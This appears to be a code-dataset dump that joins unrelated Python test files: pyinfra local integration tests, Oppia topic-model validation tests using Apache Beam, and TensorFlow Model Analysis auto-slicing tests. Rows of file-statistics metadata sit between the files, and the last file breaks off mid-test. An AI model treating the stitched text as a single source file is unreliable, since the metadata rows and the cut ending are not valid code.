helpers.run( # first run = create the link
'pyinfra -v @local files.link _testlink target=_testfile',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # second run = no changes
'pyinfra -v @local files.link _testlink target=_testfile',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
finally:
rmtree(temp_dir)
@pytest.mark.int
@pytest.mark.local
def test_int_local_line_no_changes(helpers):
temp_dir = mkdtemp()
try:
helpers.run( # first run = create the line
'pyinfra -v @local files.line _testfile someline',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # second run = no changes
'pyinfra -v @local files.line _testfile someline',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
helpers.run( # replace the line
'pyinfra -v @local files.line _testfile someline replace=anotherline',
expected_lines=['@local] Success'],
cwd=temp_dir,
)
helpers.run( # second run replace the line = no changes
'pyinfra -v @local files.line _testfile someline replace=anotherline',
expected_lines=['@local] No changes'],
cwd=temp_dir,
)
finally:
rmtree(temp_dir)
@pytest.mark.int
@pytest.mark.local
def test_int_local_pre_post_conditions(helpers):
helpers.run(
(
'pyinfra -v @local server.shell uptime '
"precondition='exit 0' "
"postcondition='exit 0'"
),
expected_lines=['@local] Success'],
)
@pytest.mark.int
@pytest.mark.local
def test_int_local_failed_precondition(helpers):
helpers.run(
"pyinfra -v @local server.shell uptime precondition='exit 1'",
expected_lines=['@local] Error: precondition failed: exit 1'],
expected_exit_code=1,
)
@pytest.mark.int
@pytest.mark.local
def test_int_local_failed_postcondition(helpers):
helpers.run(
"pyinfra -v @local server.shell uptime postcondition='exit 1'",
expected_lines=['@local] Error: postcondition failed: exit 1'],
expected_exit_code=1,
)
| 27.473333
| 82
| 0.599126
| 470
| 4,121
| 5.070213
| 0.148936
| 0.058749
| 0.08183
| 0.090642
| 0.856483
| 0.856483
| 0.834662
| 0.803609
| 0.803609
| 0.73227
| 0
| 0.002753
| 0.294831
| 4,121
| 149
| 83
| 27.657718
| 0.817275
| 0.101917
| 0
| 0.711864
| 0
| 0
| 0.301195
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.059322
| false
| 0
| 0.025424
| 0
| 0.084746
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c4f02734ff6ddf5cd830b215e6b6b6fcacd25aa3
| 19,045
|
py
|
Python
|
jobs/transforms/topic_validation_test.py
|
hardikkat24/oppia
|
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
|
[
"Apache-2.0"
] | null | null | null |
jobs/transforms/topic_validation_test.py
|
hardikkat24/oppia
|
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
|
[
"Apache-2.0"
] | null | null | null |
jobs/transforms/topic_validation_test.py
|
hardikkat24/oppia
|
c194b58bae8a1acdb6af1d123b0e1c9d7cca5fac
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
#
# Copyright 2021 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Unit tests for jobs.transforms.topic_validation."""
from __future__ import absolute_import # pylint: disable=import-only-modules
from __future__ import unicode_literals # pylint: disable=import-only-modules
import datetime
from core.domain import topic_domain
from core.platform import models
from core.tests import test_utils
from jobs import job_test_utils
from jobs.decorators import validation_decorators
from jobs.transforms import topic_validation
from jobs.types import base_validation_errors
from jobs.types import topic_validation_errors
import apache_beam as beam
(base_models, topic_models) = models.Registry.import_models(
[models.NAMES.base_model, models.NAMES.topic])
class ValidateCanonicalNameMatchesNameInLowercaseTests(
job_test_utils.PipelinedTestBase):
NOW = datetime.datetime.utcnow()
def test_process_for_not_matching_canonical_name(self):
model_with_different_name = topic_models.TopicModel(
id='123',
name='name',
created_on=self.NOW,
last_updated=self.NOW,
url_fragment='name-two',
canonical_name='canonical_name',
next_subtopic_id=1,
language_code='en',
subtopic_schema_version=0,
story_reference_schema_version=0
)
output = (
self.pipeline
| beam.Create([model_with_different_name])
| beam.ParDo(
topic_validation.ValidateCanonicalNameMatchesNameInLowercase())
)
self.assert_pcoll_equal(output, [
topic_validation_errors.ModelCanonicalNameMismatchError(
model_with_different_name)
])
def test_process_for_matching_canonical_name(self):
model_with_same_name = topic_models.TopicModel(
id='123',
name='SOMEthing',
created_on=self.NOW,
last_updated=self.NOW,
url_fragment='name-two',
canonical_name='something',
next_subtopic_id=1,
language_code='en',
subtopic_schema_version=0,
story_reference_schema_version=0
)
output = (
self.pipeline
| beam.Create([model_with_same_name])
| beam.ParDo(
topic_validation.ValidateCanonicalNameMatchesNameInLowercase())
)
self.assert_pcoll_equal(output, [])
class ValidateTopicSnapshotMetadataModelTests(job_test_utils.PipelinedTestBase):
def test_validate_change_domain_implemented(self):
valid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='delete',
commit_cmds=[{
'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}])
output = (
self.pipeline
| beam.Create([valid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [])
def test_topic_change_object_with_missing_cmd(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='delete',
commit_cmds=[{'invalid': 'data'}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{'invalid': 'data'},
'Missing cmd key in change dict')
])
def test_topic_change_object_with_invalid_cmd(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='delete',
commit_cmds=[{'cmd': 'invalid'}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{'cmd': 'invalid'},
'Command invalid is not allowed')
])
def test_topic_change_object_with_missing_attribute_in_cmd(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[{
'cmd': 'update_topic_property',
'property_name': 'name',
}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{
'cmd': 'update_topic_property',
'property_name': 'name',
},
'The following required attributes are missing: '
'new_value, old_value')
])
def test_topic_change_object_with_extra_attribute_in_cmd(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='create',
commit_cmds=[{
'cmd': 'add_subtopic',
'title': 'title',
'subtopic_id': 'subtopic_id',
'invalid': 'invalid'
}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{
'cmd': 'add_subtopic',
'title': 'title',
'subtopic_id': 'subtopic_id',
'invalid': 'invalid'
},
'The following extra attributes are present: invalid')
])
def test_topic_change_object_with_invalid_topic_property(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[{
'cmd': 'update_topic_property',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{
'cmd': 'update_topic_property',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
},
'Value for property_name in cmd update_topic_property: '
'invalid is not allowed')
])
def test_topic_change_object_with_invalid_subtopic_property(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[{
'cmd': 'update_subtopic_property',
'subtopic_id': 'subtopic_id',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{
'cmd': 'update_subtopic_property',
'subtopic_id': 'subtopic_id',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
},
'Value for property_name in cmd update_subtopic_property: '
'invalid is not allowed')
])
def test_topic_change_object_with_invalid_subtopic_page_property(self):
invalid_commit_cmd_model = topic_models.TopicSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[{
'cmd': 'update_subtopic_page_property',
'subtopic_id': 'subtopic_id',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{
'cmd': 'update_subtopic_page_property',
'subtopic_id': 'subtopic_id',
'property_name': 'invalid',
'old_value': 'old_value',
'new_value': 'new_value',
},
'Value for property_name in cmd update_subtopic_page_property: '
'invalid is not allowed')
])
class ValidateTopicRightsSnapshotMetadataModelTests(
job_test_utils.PipelinedTestBase):
def test_topic_rights_change_object_with_missing_cmd(self):
invalid_commit_cmd_model = (
topic_models.TopicRightsSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='delete',
commit_cmds=[{'invalid': 'data'}])
)
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicRightsSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{'invalid': 'data'},
'Missing cmd key in change dict')
])
def test_topic_change_rights_object_with_invalid_cmd(self):
invalid_commit_cmd_model = (
topic_models.TopicRightsSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='delete',
commit_cmds=[{'cmd': 'invalid'}])
)
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicRightsSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
{'cmd': 'invalid'},
'Command invalid is not allowed')
])
def test_topic_rights_change_object_with_missing_attribute_in_cmd(self):
commit_dict = {
'cmd': 'change_role',
'assignee_id': 'assignee_id',
}
invalid_commit_cmd_model = (
topic_models.TopicRightsSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[commit_dict])
)
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicRightsSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
commit_dict,
'The following required attributes are missing: '
'new_role, old_role')
])
def test_topic_rights_change_object_with_extra_attribute_in_cmd(self):
commit_dict = {
'cmd': 'publish_topic',
'invalid': 'invalid'
}
invalid_commit_cmd_model = (
topic_models.TopicRightsSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='create',
commit_cmds=[commit_dict])
)
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicRightsSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
commit_dict,
'The following extra attributes are present: invalid')
])
def test_topic_rights_change_object_with_invalid_role(self):
commit_dict = {
'cmd': 'change_role',
'assignee_id': 'assignee_id',
'old_role': 'invalid',
'new_role': topic_domain.ROLE_MANAGER
}
invalid_commit_cmd_model = (
topic_models.TopicRightsSnapshotMetadataModel(
id='123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
committer_id='committer_id',
commit_type='edit',
commit_cmds=[commit_dict])
)
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicRightsSnapshotMetadataModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsValidateError(
invalid_commit_cmd_model,
commit_dict,
'Value for old_role in cmd change_role: '
'invalid is not allowed')
])
class ValidateTopicCommitLogEntryModelTests(job_test_utils.PipelinedTestBase):
def test_validate_rights_model(self):
valid_commit_cmd_model = topic_models.TopicCommitLogEntryModel(
id='rights_id123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
commit_type='test-type',
user_id='',
topic_id='123',
post_commit_status='private',
commit_cmds=[{
'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}])
output = (
self.pipeline
| beam.Create([valid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicCommitLogEntryModel())
)
self.assert_pcoll_equal(output, [])
def test_validate_topic_model(self):
valid_commit_cmd_model = topic_models.TopicCommitLogEntryModel(
id='topic_id123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
commit_type='test-type',
user_id='',
topic_id='123',
post_commit_status='private',
commit_cmds=[{
'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}])
output = (
self.pipeline
| beam.Create([valid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicCommitLogEntryModel())
)
self.assert_pcoll_equal(output, [])
def test_raises_commit_cmd_none_error(self):
invalid_commit_cmd_model = topic_models.TopicCommitLogEntryModel(
id='model_id123',
created_on=self.YEAR_AGO,
last_updated=self.NOW,
commit_type='test-type',
user_id='',
topic_id='123',
post_commit_status='private',
commit_cmds=[{
'cmd': base_models.VersionedModel.CMD_DELETE_COMMIT}])
output = (
self.pipeline
| beam.Create([invalid_commit_cmd_model])
| beam.ParDo(
topic_validation.ValidateTopicCommitLogEntryModel())
)
self.assert_pcoll_equal(output, [
base_validation_errors.CommitCmdsNoneError(invalid_commit_cmd_model)
])
class RelationshipsOfTests(test_utils.TestBase):
def test_topic_summary_model_relationships(self):
self.assertItemsEqual(
validation_decorators.RelationshipsOf.get_model_kind_references(
'TopicSummaryModel', 'id'),
['TopicModel', 'TopicRightsModel'])
| 34.817185
| 80
| 0.57989
| 1,751
| 19,045
| 5.926899
| 0.119931
| 0.039892
| 0.060705
| 0.078917
| 0.821449
| 0.809886
| 0.799383
| 0.761129
| 0.746868
| 0.746868
| 0
| 0.00616
| 0.335154
| 19,045
| 546
| 81
| 34.880952
| 0.813458
| 0.037438
| 0
| 0.770563
| 0
| 0
| 0.116221
| 0.014582
| 0
| 0
| 0
| 0
| 0.041126
| 1
| 0.041126
| false
| 0
| 0.028139
| 0
| 0.082251
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f21009f9969e1bc05141965a6a80e81c5335db8d
| 22,605
|
py
|
Python
|
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
|
atn832/model-analysis
|
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
|
[
"Apache-2.0"
] | null | null | null |
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
|
atn832/model-analysis
|
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
|
[
"Apache-2.0"
] | null | null | null |
tensorflow_model_analysis/slicer/auto_slicing_util_test.py
|
atn832/model-analysis
|
a96a9665e57a12cb4d3ad1f366dc347347e3a96e
|
[
"Apache-2.0"
] | null | null | null |
# Lint as: python3
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for auto slicing utilities."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from tensorflow_model_analysis.proto import metrics_for_slice_pb2
from tensorflow_model_analysis.slicer import auto_slicing_util
from google.protobuf import text_format
from tensorflow_metadata.proto.v0 import statistics_pb2
class AutoSlicingUtilTest(tf.test.TestCase):
def test_find_significant_slices(self):
metrics = [
text_format.Parse(
"""
slice_key {
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.8 }
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
t_distribution_value {
sample_mean { value: 0.8 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.8 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 1500 }
lower_bound { value: 1500 }
upper_bound { value: 1500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 1500 }
upper_bound { value: 1500 }
t_distribution_value {
sample_mean { value: 1500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 1500 }
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice()),
text_format.Parse(
"""
slice_key {
single_slice_keys {
column: 'age'
bytes_value: '[1.0, 6.0)'
}
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.4 }
lower_bound { value: 0.3737843 }
upper_bound { value: 0.6262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.3737843 }
upper_bound { value: 0.6262157 }
t_distribution_value {
sample_mean { value: 0.4 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.4 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 500 }
lower_bound { value: 500 }
upper_bound { value: 500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 500 }
upper_bound { value: 500 }
t_distribution_value {
sample_mean { value: 500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 500 }
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice()),
text_format.Parse(
"""
slice_key {
single_slice_keys {
column: 'age'
bytes_value: '[6.0, 12.0)'
}
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.79 }
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
t_distribution_value {
sample_mean { value: 0.79 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.79 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 500 }
lower_bound { value: 500 }
upper_bound { value: 500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 500 }
upper_bound { value: 500 }
t_distribution_value {
sample_mean { value: 500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 500}
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice()),
text_format.Parse(
"""
slice_key {
single_slice_keys {
column: 'age'
bytes_value: '[12.0, 18.0)'
}
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.9 }
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
t_distribution_value {
sample_mean { value: 0.9 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.9 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 500 }
lower_bound { value: 500 }
upper_bound { value: 500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 500 }
upper_bound { value: 500 }
t_distribution_value {
sample_mean { value: 500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 500}
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice()),
text_format.Parse(
"""
slice_key {
single_slice_keys {
column: 'country'
bytes_value: 'USA'
}
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.9 }
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
t_distribution_value {
sample_mean { value: 0.9 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.9 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 500 }
lower_bound { value: 500 }
upper_bound { value: 500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 500 }
upper_bound { value: 500 }
t_distribution_value {
sample_mean { value: 500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 500}
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice()),
text_format.Parse(
"""
slice_key {
single_slice_keys {
column: 'country'
bytes_value: 'USA'
}
single_slice_keys {
column: 'age'
bytes_value: '[12.0, 18.0)'
}
}
metric_keys_and_values {
key { name: "accuracy" }
value {
bounded_value {
value { value: 0.9 }
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 0.5737843 }
upper_bound { value: 1.0262157 }
t_distribution_value {
sample_mean { value: 0.9 }
sample_standard_deviation { value: 0.1 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 0.9 }
}
}
}
}
metric_keys_and_values {
key { name: "example_count" }
value {
bounded_value {
value { value: 500 }
lower_bound { value: 500 }
upper_bound { value: 500 }
methodology: POISSON_BOOTSTRAP
}
confidence_interval {
lower_bound { value: 500 }
upper_bound { value: 500 }
t_distribution_value {
sample_mean { value: 500 }
sample_standard_deviation { value: 0 }
sample_degrees_of_freedom { value: 9 }
unsampled_value { value: 500}
}
}
}
}
""", metrics_for_slice_pb2.MetricsForSlice())
]
result = auto_slicing_util.partition_slices(
metrics, metric_key='accuracy', comparison_type='LOWER')
self.assertCountEqual([s.slice_key for s in result[0]],
[(('age', '[1.0, 6.0)'),)])
self.assertCountEqual([s.slice_key for s in result[1]],
[(('age', '[6.0, 12.0)'),),
(('age', '[12.0, 18.0)'),), (('country', 'USA'),),
(('country', 'USA'), ('age', '[12.0, 18.0)'))])
result = auto_slicing_util.partition_slices(
metrics, metric_key='accuracy', comparison_type='HIGHER')
self.assertCountEqual([s.slice_key for s in result[0]],
[(('age', '[12.0, 18.0)'),), (('country', 'USA'),),
(('country', 'USA'), ('age', '[12.0, 18.0)'))])
self.assertCountEqual([s.slice_key for s in result[1]],
[(('age', '[1.0, 6.0)'),), (('age', '[6.0, 12.0)'),)])
def test_find_top_slices(self):
input_slices = [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'),),
num_examples=1500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.8,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0.00001,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')),
num_examples=500.0,
slice_metric=0.91,
base_metric=0.8,
p_value=0.000011,
effect_size=0.91,
raw_slice_metrics=None)
]
self.assertCountEqual(
auto_slicing_util.find_top_slices(
input_slices, rank_by='EFFECT_SIZE', prune_subset_slices=False), [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'), ('country', 'USA')),
num_examples=500.0,
slice_metric=0.91,
base_metric=0.8,
p_value=0.000011,
effect_size=0.91,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0.00001,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'),),
num_examples=1500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.8,
raw_slice_metrics=None),
])
self.assertCountEqual(
auto_slicing_util.find_top_slices(
input_slices, rank_by='EFFECT_SIZE', prune_subset_slices=True), [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0.00001,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'),),
num_examples=1500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.8,
raw_slice_metrics=None),
])
self.assertCountEqual(
auto_slicing_util.find_top_slices(input_slices, rank_by='PVALUE'), [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'),),
num_examples=1500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.8,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[12.0, 18.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0.00001,
effect_size=0.9,
raw_slice_metrics=None),
])
self.assertCountEqual(
auto_slicing_util.find_top_slices(
input_slices, min_num_examples=1000, rank_by='EFFECT_SIZE'), [
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[6.0, 12.0)'),),
num_examples=1500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.8,
raw_slice_metrics=None),
])
def test_revert_slice_keys_for_transformed_features(self):
statistics = text_format.Parse(
"""
datasets{
num_examples: 1500
features {
path { step: 'country' }
type: STRING
string_stats {
unique: 10
}
}
features {
path { step: 'age' }
type: INT
num_stats {
common_stats {
num_non_missing: 1500
min_num_values: 1
max_num_values: 1
}
min: 1
max: 18
histograms {
buckets {
low_value: 1
high_value: 6.0
sample_count: 500
}
buckets {
low_value: 6.0
high_value: 12.0
sample_count: 500
}
buckets {
low_value: 12.0
high_value: 18.0
sample_count: 500
}
type: QUANTILES
}
}
}
}
""", statistics_pb2.DatasetFeatureStatisticsList())
slices = [
auto_slicing_util.SliceComparisonResult(
slice_key=(),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('transformed_age', 1),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('transformed_age', 2),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('country', 'USA'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
]
expected_slices = [
auto_slicing_util.SliceComparisonResult(
slice_key=(),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
slice_key=(('age', '[1.0, 6.0)'),),
num_examples=500.0,
slice_metric=0.9,
base_metric=0.8,
p_value=0,
effect_size=0.9,
raw_slice_metrics=None),
auto_slicing_util.SliceComparisonResult(
